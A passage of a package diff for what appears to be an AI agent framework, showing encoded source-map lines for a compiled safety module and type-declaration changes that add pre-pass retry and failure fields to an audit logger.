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"}
1
+ {"version":3,"file":"always-disallowed.js","sourceRoot":"","sources":["../../src/safety/always-disallowed.ts"],"names":[],"mappings":"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"}
@@ -1,5 +1,5 @@
1
1
  import type Database from "better-sqlite3";
2
- import type { Event, AgentResult, MessageEvent } from "@aitne/shared";
2
+ import type { AgentResult, BackendId, Event, IntegrationKey, MessageEvent } from "@aitne/shared";
3
3
  import type { BangCommandDetail, IAuditLogger } from "../core/dispatcher.js";
4
4
  export interface AuditEventRow {
5
5
  id: number;
@@ -33,6 +33,8 @@ export declare class AuditLogger implements IAuditLogger {
33
33
  private readonly hasCostSourceColumn;
34
34
  private readonly hasContextUpdatedColumn;
35
35
  private readonly hasAdvisorCallCountColumn;
36
+ private readonly hasSourceKindColumn;
37
+ private readonly hasSourceRefColumn;
36
38
  constructor(db: Database.Database, options?: AuditLoggerOptions);
37
39
  logAction(params: {
38
40
  event: Event;
@@ -61,6 +63,23 @@ export declare class AuditLogger implements IAuditLogger {
61
63
  refetchedToday: boolean;
62
64
  triggerMatched: boolean;
63
65
  };
66
+ prePass?: {
67
+ parentCorrelationId: string;
68
+ parentRoutine: string;
69
+ integrationKey: IntegrationKey;
70
+ attempt: number;
71
+ maxAttempts: number;
72
+ retriedFromAttempt: number | null;
73
+ status: "success" | "partial" | "failed" | "skipped";
74
+ fetched: number;
75
+ posted: number;
76
+ duplicates: number;
77
+ errors: ReadonlyArray<Record<string, unknown>>;
78
+ willRetry: boolean;
79
+ retryReason: string;
80
+ fallbackTriggered?: boolean;
81
+ requestedBackend?: BackendId;
82
+ };
64
83
  }): void;
65
84
  logSkip(event: Event, reason: string, trigger: "reactive" | "autonomous"): void;
66
85
  /**
@@ -104,6 +123,32 @@ export declare class AuditLogger implements IAuditLogger {
104
123
  modelId?: string;
105
124
  failureKind?: string;
106
125
  failureCode?: string;
126
+ /**
127
+ * Pre-pass fan-out failure block. Mirrors the `prePass` payload on
128
+ * `logAction` so `MetricsCollector.collectPrePassMetrics` can see
129
+ * every failure mode (binding-resolve, global-budget-cap,
130
+ * per-integration budget-cap, context-build, agent-execute) without
131
+ * a parallel `result='success'` row. The aggregator filters by
132
+ * `detail.prePass` being a non-null object — independent of
133
+ * `result`, so writing it here is sufficient.
134
+ */
135
+ prePass?: {
136
+ parentCorrelationId: string;
137
+ parentRoutine: string;
138
+ integrationKey: IntegrationKey;
139
+ attempt: number;
140
+ maxAttempts: number;
141
+ retriedFromAttempt: number | null;
142
+ status: "success" | "partial" | "failed" | "skipped";
143
+ fetched: number;
144
+ posted: number;
145
+ duplicates: number;
146
+ errors: ReadonlyArray<Record<string, unknown>>;
147
+ willRetry: boolean;
148
+ retryReason: string;
149
+ fallbackTriggered?: boolean;
150
+ requestedBackend?: BackendId;
151
+ };
107
152
  }): void;
108
153
  private emitInsertedRow;
109
154
  }
@@ -1 +1 @@
1
- {"version":3,"file":"audit.d.ts","sourceRoot":"","sources":["../../src/safety/audit.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"audit.d.ts","sourceRoot":"","sources":["../../src/safety/audit.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,QAAQ,MAAM,gBAAgB,CAAC;AAC3C,OAAO,KAAK,EACV,WAAW,EACX,SAAS,EACT,KAAK,EACL,cAAc,EACd,YAAY,EACb,MAAM,eAAe,CAAC;AACvB,OAAO,KAAK,EACV,iBAAiB,EACjB,YAAY,EACb,MAAM,uBAAuB,CAAC;AAK/B,MAAM,WAAW,aAAa;IAC5B,EAAE,EAAE,MAAM,CAAC;IACX,QAAQ,EAAE,MAAM,CAAC;IACjB,WAAW,EAAE,MAAM,CAAC;IACpB,OAAO,EAAE,MAAM,CAAC;IAChB,UAAU,EAAE,MAAM,GAAG,IAAI,CAAC;IAC1B,QAAQ,EAAE,MAAM,CAAC;IACjB,YAAY,EAAE,MAAM,CAAC;IACrB,aAAa,EAAE,MAAM,CAAC;IACtB,WAAW,EAAE,MAAM,CAAC;IACpB,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,EAAE,MAAM,CAAC;IACf,MAAM,EAAE,MAAM,GAAG,IAAI,CAAC;IACtB,UAAU,EAAE,MAAM,CAAC;IACnB,YAAY,EAAE,MAAM,GAAG,IAAI,CAAC;IAC5B,KAAK,EAAE,MAAM,GAAG,IAAI,CAAC;CACtB;AAED,UAAU,kBAAkB;IAC1B,aAAa,CAAC,EAAE,CAAC,GAAG,EAAE,aAAa,KAAK,IAAI,CAAC;CAC9C;AAED,wBAAgB,iBAAiB,CAC/B,EAAE,EAAE,QAAQ,CAAC,QAAQ,EACrB,KAAK,EAAE,MAAM,GACZ,aAAa,GAAG,SAAS,CAU3B;AAED,qBAAa,WAAY,YAAW,YAAY;IAa5C,OAAO,CAAC,QAAQ,CAAC,EAAE;IACnB,OAAO,CAAC,QAAQ,CAAC,OAAO;IAb1B,OAAO,CAAC,QAAQ,CAAC,aAAa,CAAc;IAC5C,OAAO,CAAC,QAAQ,CAAC,4BAA4B,CAAU;IACvD,OAAO,CAAC,QAAQ,CAAC,wBAAwB,CAAU;IACnD,OAAO,CAAC,QAAQ,CAAC,uBAAuB,CAAU;IAClD,OAAO,CAAC,QAAQ,CAAC,gBAAgB,CAAU;IAC3C,OAAO,CAAC,QAAQ,CAAC,mBAAmB,CAAU;IAC9C,OAAO,CAAC,QAAQ,CAAC,uBAAuB,CAAU;IAClD,OAAO,CAAC,QAAQ,CAAC,yBAAyB,CAAU;IACpD,OAAO,CAAC,QAAQ,CAAC,mBAAmB,CAAU;IAC9C,OAAO,CAAC,QAAQ,CAAC,kBAAkB,CAAU;gBAG1B,EAAE,EAAE,QAAQ,CAAC,QAAQ,EACrB,OAAO,GAAE,kBAAuB;IAoBnD,SAAS,CAAC,MAAM,EAAE;QAChB,KAAK,EAAE,KAAK,CAAC;QACb,KAAK,EAAE,MAAM,CAAC;QACd,OAAO,EAAE,MAAM,CAAC;QAChB,KAAK,EAAE,WAAW,CAAC,OAAO,CAAC,CAAC;QAC5B,UAAU,EAAE,WAAW,CAAC,YAAY,CAAC,CAAC